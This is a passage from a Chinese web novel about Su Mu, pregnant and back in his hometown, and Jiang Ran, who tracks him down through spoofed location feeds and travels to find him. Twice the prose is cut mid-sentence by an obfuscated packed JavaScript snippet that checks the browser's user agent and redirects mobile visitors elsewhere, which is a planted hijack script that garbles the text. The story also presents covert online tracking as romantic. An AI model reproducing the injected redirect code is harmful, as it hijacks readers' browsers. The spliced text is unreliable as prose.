然后,苏木感觉到江冉走了过来,一条柔软蓬松的羊绒毯子,带着干净的,阳光晒过的气息,轻轻盖在了他的头上,遮住了视线。 眼前一片温暖的黑暗。 “别动。” 江冉的声音在很近的地方响起,带着点笑意。 接着,苏木感觉到江冉也坐了下来,就在他旁边,两人隔着一层毯子,肩膀几乎挨着。然后,在两人之间的空隙里,一点柔和而稳定的光亮了起来。 那光不刺眼,是暖黄色的,照亮了方寸之间。苏木眨了眨眼,适应了光线,才看清,那是一本书。一本会发光的书。 书页的纸张似乎是特制的,散发着均匀的光,照亮了上面精美的印刷图案和文字。 柔和的光晕映在江冉近在咫尺的侧脸上,勾勒出他优越的鼻梁和微微上扬的嘴角。 那是他送给江冉的生日礼物。 那时候他们刚认识不久,关系说不上多亲近,但江冉过生日,请了不少人,也叫了他。 苏木不知道送什么好,他以前的生活里,几乎没有给同学送礼物的习惯和预算。他在网上看了很久,挑了很久,最后选中了这个书本夜灯。 不算特别贵,但设计巧妙,灯光柔和,他觉得……江冉可能会喜欢,至少,不会讨厌。 他记得自己把包装好的礼物递给江冉时,心里忐忑得要命,生怕这份礼物,会在这位少爷琳琅满目的生日贺礼中显得格格不入。 而此刻,这本他送的书灯,不仅被好好地保存着,甚至还充好了电,在这样一个突如其来的雨夜,被江冉特意拿出来。 “哇,” 苏木听见自己的声音,“这……很漂亮。” 江冉转过头看着他,毯子下狭小的空间里,两人的呼吸几乎交缠在一起。 江冉的眼睛在书灯柔和的光晕里,嘴角的笑意更深了些:“嗯,我平时都舍不得用的,但我有给它充电。” 苏木:“江少爷,你用吧,别舍不得,要是,要是用坏了,我再给你买一个。” 江冉看着他,说:“好。” 人能够送出自己最匮乏的东西的时候,是证明真的喜欢这个人。 当时的苏木,匮乏的或许不只是金钱和昂贵的礼物,更是一种坦然表达喜欢的勇气和底气。他送出的,已经是在他能力范围内,所能想到的,最用心,也最希望能被对方珍视的心意了。 江冉其实也给了苏木最温柔也最珍贵的回应。 就够了。 苏木还在回忆酸涩的初恋的时候。 id6653365985非常不合时宜地发了一个消息:主包,你在做什么? 苏木:我爸爸在打牌,我叫他回去吃饭。 id6653365985:叔叔平时喜欢什么?茶还是酒,你爸身手矫健吗?我是说如果把他珍贵的宝贝带走了,他会打人吗? 苏木心想这个985真的有病。 12.就算死也要死个痛快 苏木给 id6653365985 立下了规矩。 一天最多只能刷一百块,多一分都不行。否则就拉黑,永远拉黑。 id6653365985:……哦。 苏木觉得这态度不够端正,想了想,又发过去一句,带着劝诫的意味:老实说吧,你是不是有什么奇怪的癖好?就是特别想给别人花钱那种? id6653365985 :……是的,没错,不给别人花钱我心里不舒服。 苏木一时语塞。 还真是?这算什么癖好? 苏木:那你可以把钱捐给山区儿童啊,帮助有需要的人,不是更有意义吗? id6653365985:我有捐啊,不过我钱比较多,我可以捐,你不要捐,捐款套路很深的。我以前捐过一个机构,金额不少,结果后来新闻爆出来,那个机构的负责人贪污,挪用善款,最后坐牢了,钱没到孩子们手里,反倒肥了蛀虫,想想就恶心。还不如发给我喜欢的人,至少我知道,这钱是给到了我想给的人手里。 苏木觉得这个人还是挺善良的。 不过仅仅因为看了几次直播,因为叉车?因为脸?就能随随便便说出喜欢这种字眼。 轻浮。 不过也不是什么人都像江冉一样道德品质高的。 id6653365985 :你回家,是因为之前的工作干得不开心吗? 苏木:也不止啦。 不止是工作。还有更多。但他不想说,也没必要对一个陌生的,行为古怪的网友倾诉这些。 苏木:我要去忙了,下次再聊。 id6653365985那边安静了,没再回复。 这天下午,阳光正好,厂里没什么活,他提前回家了。 他想起医生和李医生都提过,可以适当进行一些胎教,有助于婴儿发育。他没什么经验,也不知道具体该怎么做,就想着找点舒缓的音乐或者有声读物听听。 他拿起手机,打开了一个常用的播客软件。软件还保留着他以前在B市时的使用习惯和订阅列表。他点开我的订阅,准备找找有没有适合胎教的轻柔音乐或故事专辑。 然而,列表刚一展开,映入眼帘的,满满当当,几乎全是与金融,投资,宏观经济,行业分析相关的播客节目。 “每日财经快讯”,“深度解读美股”,“华尔街见闻”,“首席策略官”…… 真是一瞬间就把苏木带回之前在CBD写字楼里,穿着熨帖的衬衫,对着闪烁的K线图和纷繁的数据报表,度过的一个个焦灼或亢奋的日夜。 空气里仿佛又弥漫起咖啡的苦涩香气,和中央空调永不停歇的,有些干燥的暖风。 他手指无意识地向下滑动,一行行掠过眼前,苏木他记得自己通勤时戴着降噪耳机听,午休时一边啃着三明治一边听,深夜加班为了提神也听。 那些是曾是他构建职业认知,试图在残酷的行业里站稳脚跟,甚至渴望出人头地的重要养分。 而现在,他坐在自己老家,窗外是晒着被单的院子和偶尔响起的狗吠,在搜索栏里,敲入了“孕期音乐”,“胎教故事”这几个字。 新的列表跳出来,封面多是柔和的粉色,蓝色,或者可爱的卡通图案,标题也充满了温馨和童趣的气息。 可是苏木不太想听,于是退出来,重新点开了我的订阅。 算了,之前买都买了,不要浪费。 苏木摸了摸肚子说:“好宝宝,能听就听吧,不听就睡觉吧。” 三个多月的肚子其实不明显,苏木怀的时候也刚好,大起来的也是冬天,衣服一遮就什么也看不出。 苏母回来的时候,就看见苏木放得特别大声的手机,问他在做什么呢? 苏木说:“胎教呢?” 苏母好奇说:“听的这是什么?” 苏木看着封面说:“美联储的货币政策对全球市场的影响,科技巨头的财报分析和未来展望,宏观经济指标如何解读。” 苏母凑过来,伸手点了点苏木的额头:“哎呦,我的傻儿子哟,这才多大点儿?小豆丁一个,哪里听得懂这些?” “刚刚我给你发微信了,你看见没?是不是又没看手机?” 苏木拿起手机看了一眼,果然有好几条未读消息,都是母亲发来的:“没,刚才没看。” 苏母:“没看见就算了,正好跟你说一声,待会儿晚饭咱们不在家吃了,要过去吃席。” “吃席?” 苏木一愣。 在小镇,吃席通常意味着红白喜事。 “嗯,你三姨姥家的外孙女,就是那个叫小琴的,明天出嫁。按咱们这儿的规矩,前一天晚上,娘家人这边得摆几桌,请亲近的亲戚朋友先聚聚,热闹热闹,送嫁宴,” 苏母继续说,“你爸已经先去帮忙了,咱们娘俩收拾收拾也过去。” 苏木点了点头,他既然在家,自然是要去的。 办婚宴的地方,就在镇子东边一条老街的旁边。不是那种豪华的酒店酒楼,而是一家专门承办宴席的,带大院子的老式饭庄。 院子很大,能摆下十几二十桌,此刻已经张灯结彩,贴着大红的喜字,人来人往,热闹非凡。 空气里弥漫着油烟,鞭炮硝烟和饭菜的混合气味,嘈杂的人声,孩子的嬉闹声,锅碗瓢盆的碰撞声响成一片,充满了市井的,旺盛的生命力。 苏木跟着母亲走进院子,很快就在人群中看到了熟悉的面孔,孟令轩一家也来了。 孟令轩正跟几个同龄的男人站在一边抽烟聊天,他媳妇则拉着女儿孟娇娇,在跟几个同龄人在说话。 孟娇娇眼尖,一扭头就看见了苏木,眼睛立刻亮了起来,挣开妈妈的手,像只小蝴蝶一样扑了过来,脆生生地喊道:“小苏哥哥!小苏哥哥你也来啦!” 苏木先护着肚子,稳住身形,低头看着她扎着两个羊角辫,脸蛋红扑扑的小姑娘,脸上不由露出温和的笑意:“娇娇,你好啊。” 孟令轩也看到了苏木,掐了烟走过来,先跟苏母打了招呼,笑骂道:“哎,孟娇娇,你怎么回事儿?没大没小的,哥哥怎么都叫起来了?这是你苏木叔叔!” 孟娇娇撅起嘴,一点不怕她爸,反而理直气壮地反驳:“妈妈教我的,妈妈说,长得帅的,看着年轻的,就叫哥哥,叫叔叔把人叫老了。” 孟令轩被他闺女这套逻辑噎得直瞪眼,转头看向自己媳妇。 他媳妇是个爽朗的性子,此刻正捂着嘴笑,见丈夫看过来,大大方方地一耸肩,冲着女儿竖起大拇指:“乖女儿,说得好,妈妈是这么教的没错,人家苏木就是帅哥啊,就该叫哥哥。” 周围几个听见这话的亲戚邻居也都哄笑起来,气氛顿时更加热闹轻松。 孟令轩拿这对活宝母女没办法,只能无奈地摇摇头,对苏木道:“你看看,这娘俩,一个比一个能胡闹,别介意啊木头,小孩不懂事。” 苏木语气轻松:“没事,一个称呼而已,叫什么都行,娇娇喜欢叫哥哥,就让她叫吧。” 孟娇娇更加高兴,小手紧紧拽着苏木的衣角,仰着小脸,叽叽喳喳地说起话来:“小苏哥哥,我跟你说哦,我们语文老师,跟今天的新娘子一样漂亮呢。” 这还没放弃当小红娘呢。 都是一个地方的。 街坊邻居,沾亲带故,往上数几代,说不定都能扯上点关系。婚宴这种场合,就像一张无形的大网,把平时散在各处的人都拢到了一起,熟面孔随处可见。 都互相认识。 看见苏木,认识的,不熟但眼熟的,都热情地跟他打招呼。 毕竟苏木在他们这个小地方,也算是个名人,不是指现在网络上那点虚名,而是从小到大,一直都是别人家的孩子。 成绩好,模样俊,考上了重点大学,去了大城市工作,是不少父母教育自家孩子时会提起的榜样。 “哎哟,这不是小木头吗?回来啦?气色看着不错啊!” “苏木啊,好久没见了,在B市发展得挺好的吧?” “听你妈说你回来了,打算在家待多久啊?” 寒暄过后,话题总免不了拐到一些经典问题上。尤其是那些稍微上了点年纪,热心肠又爱张罗的阿姨婶子们,打量苏木的眼神就带上了明显的关切。 “小木头,今年有……二十五六了吧?个人问题解决了没有啊?” “有没有谈女朋友啊?大城市女孩子眼界高,咱们本地的姑娘也不错,要不要阿姨给你介绍介绍?我娘家侄女,今年刚大学毕业,在县里当老师,模样性格都好……” 面对这些热情的关爱,苏木往往只能尴尬地笑笑,不知该如何接话。 好在苏母就在旁边。 苏母总是能恰到好处地,笑呵呵地替他挡回去:“哎呀,王婶,李姨,你们就别操心啦!现在的年轻人,跟我们那会儿不一样啦,讲究什么自由恋爱,缘分到了自然就成了,这些事情啊,让他们自己张罗去,我们当家长的,少管,他们也自在。” 她一边说,一边把苏木往自己身后拉了拉,像是护着小鸡仔的老母鸡。 除了问婚事的,还有更新潮一些的。有个跟苏木年纪相仿,在外地打工的小伙子,拿着手机就凑了过来,脸上带着兴奋和好奇:“苏木哥!我刷到你了!就那个……叉车!是你吧?我看着就像!嚯,现在可是网红了啊!” 苏木有些意外,也有些不好意思,摸了摸后颈,点头承认:“嗯,是我。闲着没事,瞎弄着玩的,在家反正也无聊,找点事做,还觉得……挺有意思的。” 那小伙子一拍大腿:“就是,多酷啊,我也关注你!” 热热闹闹地聊了一会儿,宴席就正式开始了。 桌椅碗筷叮当作响,热气腾腾的菜肴一道道端上来。 按照本地的规矩和长辈们的安排,苏木被安排到了小孩那桌,因为他不能喝酒。具体原因,父母对外只含糊地说他最近身体不适,不宜饮酒。 于是,他被安排和几个半大孩子,还有几个同样不怎么喝酒的妇女,坐在了相对清静些的小孩妇女桌,喝鲜橙多饮料。 席间,气氛热烈,推杯换盏。 有相熟的叔叔端着酒杯过来,满面红光,非要给苏木敬一杯。 苏父就坐在邻桌,一直留意着这边。见状,立刻放下筷子,站起身,几步走了过来,脸上带着歉意但坚决的笑容,拦在了苏木面前,摆手道:“老张,老张!心意领了,心意领了!这酒啊,真不能让他喝。” ”他啊,酒精过敏,从小就是,一沾酒身上就起红疹子,难受得厉害。医生也叮嘱了,绝对不能碰。这样,我替他喝了,我干了,你随意!” 说着,苏父不由分说地接过那叔叔手里的酒杯,仰头一饮而尽,动作干脆利落,还亮了亮杯底。 那叔叔见状,也不好再勉强,哈哈笑着拍了拍苏父的背:“行行行,老苏你护犊子,那你可得替小木头多喝几杯!” 话题便又转向了别处。 饭后,天色还没暗了下来。 晚风带着凉意,吹散了宴席上沾染的油腻和喧嚣气息。一家三口没有骑车,也没有搭别人的顺风车,选择了慢慢散步回去。 从办宴席的老街到他们家所在的巷子,有一段不算远但也不算近的距离。 路是新修的水泥路,还算平坦,两边是高低错落的民房,有些窗户里透出昏黄温暖的灯光。 空气里飘散着各家各户晚饭后洗漱的,淡淡的肥皂水气味,还有不知哪家院子里飘出的,夜来香甜腻的香气。 苏母从随身携带的红色手提袋里,掏出几颗刚才宴席上发的喜糖。糖是常见的水果硬糖,她仔细剥开一颗,递到苏木嘴边:“来,吃颗糖,沾沾喜气。” 苏木顺从地张嘴含住。 糖是橘子味的,甜得有些发腻,苏母又掏出一个小小的,折叠起来的红色纸包,也给苏木,里面总共加起来可能也就三四块钱。 “拿着,回去收好了。” 苏母把小红包塞进苏木的手心里。 从小到大,但凡遇到什么他们认为兆头好的小东西,一个苹果,一枚硬币,或者就是这样一个小小的,里面没多少钱的红包,他爸妈都会给他。 仿佛通过这些微不足道的物件,就能把世间所有的祝福和好运,都灌注到他身上。 三人并肩走着,苏木走在中间。 他早已长得比父母都高了,父母依旧像很多年前一样,自然而然地,将他护在了两人中间。 夜色温柔,路灯将他们三人的影子拉得细长,又缩短,交错重叠在水泥路面上。 苏木说:“妈,你说,万一以后,我没有办这样一场仪式,你和爸爸会不会觉得很丢脸?” 苏母带着点不以为然的豁达:“为什么非得办那么一场?办那么一场,锣鼓喧天,人仰马翻的,说得好听是热闹,说得实在点,不就是为了把以前送出去的份子钱收回来吗?” 她侧过头,看了苏木一眼:“再说了,仪式不仪式的,有那么要紧吗?日子过好了,比什么都强。” 她像是想到了什么更开心的事,语气都轻快起来:“到时候,等我大孙子或者大孙女出生了,满月,百天,周岁……我照样可以大办特办,请亲戚朋友都来,热热闹闹的,份子钱照样收!” 苏木被他妈这套逗得有些哭笑不得:“妈,你这个财迷。就知道份子钱。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他不再是最初那个笨拙地搜索,只会用礼物刷屏的门外汉。他学会了切换IP地址,将自己账号显示的定位,改成了“禾市渠县凤凰村”。这样一来,平台的大数据算法会自然而然地,将更多来自那个区域的同城内容,推送到他的首页。 他觉得自己像个蛰伏在暗处的猎手,利用科技的手段,为自己搭建了一个观察猎物的,绝佳的瞭望台。 互联网确实是个好东西。 苏木在凤凰村,乃至周边几个村镇,俨然已经算是个小有名气的人了。 毕竟,厂草开叉车的视频热度未散,他本人又确实外形出众,性格温和,自然更容易成为话题和镜头的焦点。 江冉时不时就能在自己的同城推荐里,刷到一些带有苏木身影的照片或短视频。 有时是几张在某个亲戚家门口的合影,背景是贴着瓷砖的农村自建房和停着的摩托车;有时是一段在乡间大路上行走的模糊侧影,远处是成片的稻田;有时甚至只是别人家院子里聚餐时,无意间拍到的,坐在角落安静吃饭的苏木。 这些零碎的,未经修饰的影像,像一块块拼图,在江冉眼前,拼凑出苏木离开他之后的生活碎片。 苏木如今穿着最普通的T恤长裤,站在尘土飞扬的村路上,或坐在喧闹油腻的宴席间,脸上却似乎……多了一种他从未见过的,松弛而温和的气息。 这发现让江冉心头那股躁郁和迫切感,如同被浇了油的火,烧得更加旺盛。 他几乎已经打定了主意,不日就要启程,亲自去那个叫凤凰村的地方看看。 这天大数据又一次精准地,将一个视频推送到了他的眼前。 还是同城。 点开看,背景显然是一场热闹的农村婚宴。苏木穿着一件浅色的卫衣,坐在一张圆桌旁,身边围坐着几个叽叽喳喳的小孩。而他正低着头,极其耐心地,眉眼温和地,跟一个扎着两个羊角辫,脸蛋圆嘟嘟的小姑娘玩着什么。 苏木看起来很喜欢小朋友。 镜头拉近,才看清,他们玩的是一种极其幼稚的,用一根红绳在手指间翻出各种花样的翻绳游戏。苏木的手指修长灵活,配合着小姑娘笨拙却兴奋的动作,时不时因为对方成功翻出一个简单的花样,而露出赞许的,带着点孩子气的笑容。 小姑娘则仰着脸,眼睛亮晶晶地看着他,满脸都是信赖和开心。 拍摄视频的人,显然是小姑娘的妈妈,因为她的账号昵称就叫娇娇妈妈。 视频配文很简单:“和小苏哥哥玩得好开心啊~[爱心]” 底下已经有了一些评论。 大多是“哇,帅哥好帅!”,“小哥哥好有耐心!”,“娇娇好可爱!”之类的夸赞。 而娇娇妈妈在一条夸苏木帅的评论下,兴致勃勃地回复了一句:谢谢夸奖~[害羞] 我们小苏哥哥还是单身可撩哦~有合适的妹子可以介绍! 苏木对别人笑,跟小孩玩幼稚游戏,被别人贴上单身可撩的标签,甚至可能真的被介绍去相亲。 当晚,苏木早早洗漱完毕,准备上床休息。他现在作息规律得像个老干部,不再熬夜,为了肚子里那个小生命能健康发育。 他靠在床头,拿起手机,习惯性地看了一眼私信。 id6653365985 又发来了消息,时间是稍早一些。 id6653365985:你很喜欢小朋友吗?你以后是一定会要孩子的,对吗? id6653365985:其实孩子不一定非要要的,现在已经不是以前那种养儿防老的旧观念了。只要我们自己有能力,把生活过好,也不一定非要孩子。 id6653365985:而且,养育孩子很耗费时间和精力的。经济压力,个人空间,生活质量……都会受到影响。 这个id6653365985,怎么总是这么自以为是?说话总带着一股居高临下,试图干涉别人生活的味道。 此刻的苏木,他肚子里正怀着一个小生命,这是他自己选择的未来生活的核心和希望。任何对这种选择的质疑,在他听来都格外刺耳,像是在一个已经下定决心,并为之付出巨大代价的父亲头上点火。 苏木:你自己不想要宝宝,那是你自己的选择,为什么要来劝别人?我就要。我非要。我很爱我的宝宝。明白了吗? 这个古怪的网友,实在管得太宽了。 而城市的另一端,江冉看着苏木回复,我就要。我非要。我很爱我的宝宝。 宝宝?什么宝宝?谁的宝宝?苏木为什么用这么肯定,这么充满爱意的语气? 还有那个产检一路绿灯的点赞。 不,不能再等了。 一秒钟都不能再等了! 就算死也要死个痛快。 江冉拨通了秘书Allen的号码。电话几乎是被秒接,Allen专业而恭敬的声音传来:“江总?” “Allen,听着,立刻,马上,把我手头上所有能压缩,能提前,能移交的工作,全部处理掉。压缩到最短时间。我需要假期,立刻就要。最长能批多久,就给我申请多久。现在,立刻去办!” 13.你……来找我的? 金融播客节目听完了。 然后,苏木的肚子,开始有了一丝微不可查,却又真实存在的弧度。 起初只是觉得裤腰紧了点,后来,当他不经意间低头,或者侧身时,能隐约看到腹部那一点不再平坦的,微微的隆起。 指尖轻轻按上去,能感觉到一股奇异的,内在的饱满和硬度,隔着皮肤和肌肉,仿佛在提醒他,另一个生命正在那里悄然生长,改变着他的身体,也改变着他的一切。 他从箱底翻出了一个黑色的,质感很好的相机包。拉开拉链,里面是一台索尼的微单相机,金属机身泛着冷冽的光泽,镜头保护得极好。 这是很久以前,江冉送给他的礼物。 江冉当时送给他的时候说,觉得适合他,性能不错,也轻便。还说,等下次假期,可以一起出去玩,就用这个相机拍很多照片留念。 相机里还存着不少照片。苏木插上数据线,连接手机,一张张翻看着。 里面真的有很多很多张江冉。 在篮球场上奔跑跳跃,汗水在阳光下闪闪发光的江冉;在图书馆靠窗的位置皱着眉头看书,侧脸线条利落的江冉;在深夜的路边摊举着啤酒瓶,笑得恣意张扬的江冉。 甚至还有穿着睡衣,头发乱糟糟,对着镜头比着幼稚鬼脸的江冉…… 那时候,瘦猴和肥刀他们总调侃苏木,说他这是要当校园艺术家,整天相机不离手。 苏木总是笑笑,不辩解。 他哪有什么艺术追求,他只是单纯地想拍江冉而已。想把那个人的每一个瞬间,每一种神态,都偷偷地,贪婪地收藏起来,像收集阳光的碎片,藏在只有自己知道的角落里。 翻到有一张照片,他停留了很久。 那是大二迎新生的时候。他们被派去负责学院的接待摊位,就设在篮球场外一棵巨大的梧桐树下。 秋日的午后,阳光透过层层叠叠的梧桐叶,投下细碎斑驳的光影。忙乱了一上午,苏木给他买饭过去,江冉吃了,累了,趁没什么新生来的间隙,趴在临时搭建的简易木桌上睡着了。 他侧着头,枕着自己的手臂,浓密的睫毛在眼睑下投出一小片阴影,鼻梁挺直,嘴唇因为放松而微微抿着。阳光正好落在他半边脸上,将他英挺的轮廓和那种毫无防备的睡颜,勾勒得格外清晰,甚至能看到他脸颊上细微的,柔软的绒毛。 苏木当时就坐在他对面,看着他安静的睡颜,悄悄举起相机,调整角度,避开了桌上的杂物和偶尔路过的人影,只将镜头对准了那个在斑驳光影下熟睡的少年。 按下快门的瞬间,他觉得自己仿佛偷走了一小片时光,偷走了一个只属于他的,不设防的江冉。 照片里的江冉,真的很有那种青春电影里,让人一眼心动的校园男神的感觉。干净,耀眼,带着浑然天成的,让人无法移开目光的魅力。 除了江冉,相机里也拍过他的父母。 有在家门口菜园里弯腰摘菜的背影,有在饭桌上笑着给他夹菜的瞬间,也有在车站送他返校时,挥手告别的模糊身影。 因为这个相机礼物实在太过贵重,苏木拿到手后,心里一直惴惴不安。他不想欠江冉太多,于是,他连着做了好几个月的兼职,攒下了一笔钱,买了一双江冉喜欢的,某个名牌的限量版篮球鞋,送给了他。 那是他当时能拿出的,最贵重的心意了。再贵的,他实在买不起。 后来江冉好像就再也没送过他这么贵的礼物了。或许是察觉到了他的不自在。 他们之间的礼物往来,变成了更随意,更平价的东西,一本书,一张唱片,一盒糕点。 而现在,江冉真的没有再联系他了。 那个曾经执着地,换着号码打电话,通过各种渠道打听他下落的江少爷,好像一夜之间,从他的世界里彻底消失了。 手机安静得可怕,连那个古怪的id6653365985,在被他那次呛声之后,似乎也消停了不少。 苏木握着那台冰凉的相机,指尖划过屏幕上那张睡颜安静的旧照,又下意识地,轻轻按在自己微隆的小腹上,对着镜子拍了一张。 本来一开始,就没有打算把这件事告诉他的。 告诉了他,又怎么样呢? 是期待他惊喜若狂,立刻飞奔过来,许下承诺,承担起责任吗?还是害怕看到他惊愕,厌恶,甚至冷漠地要求处理掉? 又或者,是担心这只会让两人之间本就混乱不堪的关系,变得更加纠缠不清,最终演变成一场更加难堪的闹剧,连记忆中那点仅存的,或许曾真实存在过的温柔瞬间,都被彻底玷污? 他不知道。 他不敢想。 所以,不告诉,或许才是对的。 就当这一切,只是他一个人的选择,江冉的消失,某种程度上,反而像是替他做了选择,让他可以更加心安理得的,将这个小生命,划归为自己一个人的秘密和责任。 不过,大概是看了相机里那些江冉的照片,心里那点被刻意压下去的,关于过去的记忆和某种难以言喻的情绪,又悄悄翻涌了上来。 他点开和瘦猴的聊天页面,发了最简单,也最像是随口问候的几个字过去:最近在干嘛? 瘦猴:还能干嘛?打工啊,兄弟,天天跟电脑死磕,眼睛都快瞎了。唉,我要是有你那种说走就走,直接躺平的勇气就好了。 后面还跟着个哭丧着脸的表情包。 苏木看着这回复,嘴角无意识地弯了一下,瘦猴还是那个瘦猴。 他手指在屏幕上划了划,想再说点什么,却发现没什么可聊的。 工作?他没在做了。 生活?他这边是小厂,叉车和日渐明显的孕肚。 最终,还是让他没能忍住,问出了那个盘旋在心底,明知不该问,问了只会让自己更难受的问题:江少爷呢?最近……联姻联了吗? 发完,他就有些后悔了。 瘦猴:江少爷?他啊不清楚啊。神龙见首不见尾的。前些天倒是跟火烧了屁股似的,满世界打听你,一天能问我八百遍,烦都烦死了。不过最近最近好像消停了,一直没联系我。估计是忙着跟哪家的姑娘相亲去了吧? 堵心。 早知道就不问了。 苏父昨晚约了钓友去了附近的水库钓鱼。 水库离镇上有一段距离,在一片山坳里,水面宽阔,水质清澈。岸边有好几处被钓鱼爱好者们常年开发出来的,隐蔽又合适的野钓点。 苏父是那里的常客,虽然技术算不上顶尖,但胜在有耐心,经常能有些收获。 秋天了,天干物燥。 守了大半夜,好几条野生鲫鱼,鳞片银亮,活蹦乱跳。 苏木早上刷牙的时候看到桶里那几条鲜活的鲫鱼。 苏母说:“野生鲫鱼,最补了,营养好,味道鲜,你今天下班早点回来,妈给你炖鲫鱼汤喝,奶白奶白的,撒点葱花,可香了。” 苏木正揉着眼睛,听到“鲫鱼汤”三个字,脑子还有点迷糊,下意识地重复了一句:“鲫鱼汤?” 随即,他像是突然想起了什么,脸色变得有点古怪,睡意也跑了大半。他走到厨房门口,看着母亲忙碌的背影,跑去问他爸。 “爸那个,鲫鱼汤我喝了,不会下奶吧?” 问完,他自己都觉得这问题有点傻。 苏父被他这问题问得一愣,随即噗嗤一声笑了出来:“当然不会,你想什么呢?要是喝鲫鱼汤就能下奶,那你小时候,还用得着到处给你找奶粉喝。” 苏母在厨房里也听到了:“你这孩子,脑子里整天琢磨些什么乱七八糟的?鲫鱼汤就是补身子,利水肿的,对脑子也好,你小时候就爱吃鱼,所以我跟你爸才经常去给你弄鱼吃,要不你能那么聪明,学习那么好?” 不是下奶的就行,他对聪明倒没抱太大期望,不过按照他和江冉的基因,应该不会太笨吧,只要对宝宝好,自己喝了没什么奇怪的副作用,就行。 “哦,那就好,那我今天早点回来。” 去上班的时候,苏木骑着那辆小电驴,迎着温暖的阳光,慢悠悠的,风吹在脸上,带着秋日特有的干爽。 不过苏木不知道为什么自己今天老是打喷嚏。 苏母担心他感冒了。 苏木说:“我没有,可能是有人在想我吧。” 今天厂里的活不算多,所以厂长让苏木下午过去。 这边,江冉从江州出发了。 他没带太多行李,只一个轻便的登机箱,里面塞了几件换洗衣物和必需品,还有那台从不离身的笔记本电脑。 行程安排得极其紧凑,几乎是秘书Allen用最高效率为他压缩,交接完所有能处理的工作后,他立刻就订了最近一班去往禾市的高铁票。 抵达禾市高铁站,他没有丝毫停留,甚至没出站仔细看看这座陌生的城市,直接在车站出口,包了一辆看起来还算干净的出租车,报了渠县的名字。 司机用带着浓重本地口音的普通话确认了目的地,便一脚油门,载着他驶离了繁华的市区,向着更偏远的县城驶去。 去渠县的路不算太好,部分路段还在维修,江冉将车窗降下一点,让带着尘土和田野气息的风灌进来。 这就是苏木的家乡吗? 好不容易到了渠县县城,时间已经是下午。县城不大,街道显得有些陈旧,行人车辆混杂,节奏缓慢。 江冉下了出租车,站在路边,看着周围陌生的环境和来来往往,说着他完全听不懂的当地方言的人群,第一次感到了一种近乎茫然的孤立感。 他需要去凤凰村所在的那个镇。 问了几个路人,得到的回答要么是语速极快,夹杂着大量方言词汇,让他听得云里雾里;要么是指着一个模糊的方向,说“坐公交,那边有站”。 他顺着指引找到了所谓的公交站,一个连像样站牌都没有,只是几辆破旧中巴车停靠的路边。 鸡同鸭讲。 江冉脑子里冒出这个词。 在网上也搜不到路线,他其实想给苏木打电话,但是都已经走到这里了,突然就找不到路了,实在有点太逊了。 他习惯了在谈判桌上用精准的语言掌控全局,习惯了在社交场合用流畅的言辞应对自如,却从未想过,有一天会因为语言不通,被困在一个小小的县城车站旁。 他甚至开始考虑,要不要干脆在这个小县城里租一辆车,自己开过去。 虽然路不熟,但总比在这里浪费时间,跟人费力沟通强。 就在他皱着眉头,拿出手机准备搜索本地租车信息的时候,一个皮肤黝黑,穿着件洗得发白的旧夹克,叼着根烟的中年男人,蹬着一辆漆皮斑驳,车斗里还沾着泥点的三轮摩托车,“突突突”地停在了他面前。 男人上下打量了江冉几眼,目光在他明显与周围环境格格不入的衣着和气质上停留了片刻,然后吐掉嘴里的烟蒂,用一口带着浓重口音,但勉强能听懂的普通话,直截了当地问。 “去哪?我送你。” 他的三轮摩托车简陋得可怜,连个像样的挡风玻璃都没有,车斗里随意扔着几件工具和一只看不清颜色的蛇皮袋。 这车和江冉平时接触的代步工具,简直是两个世界的产物。 江冉的目光在那辆三轮车上扫过,又抬眼看了看周围这前不着村后不着店,沟通困难的环境。 他报出了目的地,说的是苏木工作的那个厂。 那男人说:“你等车也没用,只能到街上,你还得走很久。” 那人伸出三根在他面前晃了晃,言简意赅:“三百,我把你送到门口。” 从县城到镇上的距离,这个价格显然高得离谱,带着明显的宰客意味。 若是平时,江冉连多看一眼都不会。 但此刻,他只想尽快离开这里,尽快到达那个叫凤凰村的地方,尽快找到苏木。 他只是略一点头,声音没什么起伏:“成交。” 江冉坐在那辆简陋的三轮摩托车后里,自有一副岿然不动的架势。 风毫无遮挡地迎面吹来,带着尘土,路边农田的肥料气息,以及三轮车排气管喷出的,有些刺鼻的柴油味,将他打理得一丝不苟的头发吹得凌乱不堪。 他不得不微微侧过身,用手挡在额前,眯起眼,才能勉强看清前方坑洼不平,尘土飞扬的乡村道路。 开车的司机显然是个话痨,也可能是第一次在他们地方,见到一个像江冉这样穿得这么一本正经的年轻人,好奇心旺盛得不得了。 江冉自认为今天穿的已经相当休闲了,一件深灰色休闲外套,里面是简单的短袖,下身是同色系的休闲长裤,脚上一双黑色板鞋。 这身行头放在江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884689|191850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州任何场合都算随性。 然而,在这尘土飞扬的乡村土路上,在这辆叮当作响的三轮车衬托下,的确显得有点突兀,更别提他手腕上那块低调却价值不菲的机械表,在偶尔掠过的阳光下,泛着冷冽而精准的光芒。 无需多言,光是这身打扮和周身的气质,就与周遭的环境格格不入,明明白白地昭示着“外来者”,“有钱人”,“城里人”的标签。 司机又忍不住从镜子里看了他几眼,终于按捺不住,扯着嗓子,用那口带着浓重口音的普通话搭话,声音混在发动机的轰鸣和风声里:“老板,你这大老远的,是找人啊?还是探亲啊?” 江冉被颠得心烦意乱:“找人。” “哦!找人!” 司机说,“找亲戚?我们这地方小,十里八乡的,好多都沾亲带故的,你说说找谁,说不定我还认识哩!” 江冉沉默了几秒,才有些不情愿地,含糊地纠正:“……朋友。” “朋友啊?” 司机的语气听起来更惊讶了,似乎不太相信这种地方能有江冉这样的朋友,“那你朋友没说来接你?这地方可不好找,刚好我有个亲戚在这里上班,你遇到我真是太巧了。” 江冉没接这话茬。 他难道能说,他是像个跟踪狂一样,自己偷偷摸过来的吗? 